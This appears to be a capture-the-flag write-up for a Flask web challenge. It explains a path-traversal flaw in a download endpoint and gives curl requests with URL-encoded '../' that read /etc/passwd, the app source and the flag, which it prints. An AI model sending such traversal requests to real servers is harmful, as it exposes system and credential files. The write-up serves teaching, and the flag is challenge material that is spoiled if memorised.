Writeup: Microsoft Axel - upCTF (Web)
Overview
GhostDrop is a Flask web application that lets users fetch files from URLs using the axel download accelerator and later download them. The app has two main endpoints:
POST /fetch- Takes a URL, runsaxelto download the file into/app/files/GET /download/<path:filename>- Serves files from/app/files/usingsend_file()
Vulnerability
The /download/<path:filename> endpoint is vulnerable to path traversal. The relevant code:
@app.get("/download/<path:filename>")
def download(filename: str):
target = FILES_DIR / filename
return send_file(target, as_attachment=True)
There is no validation that the resolved path stays within FILES_DIR. Flask normalizes literal ../ in URLs, but URL-encoded slashes (%2f) bypass this normalization, allowing traversal outside the intended directory.
Exploitation
- Discovered the path traversal by requesting
/etc/passwd:
curl -s http://46.225.117.62:30002/download/..%2f..%2fetc%2fpasswd
- Read the application source to understand the structure:
curl -s http://46.225.117.62:30002/download/..%2f..%2fapp%2fapp.py
- Retrieved the flag from
/flag.txt:
curl -s http://46.225.117.62:30002/download/..%2f..%2fflag.txt
Output: upCTF{4x3l_0d4y_w1th4_tw1st-4Hn2fyd7fbc993c0}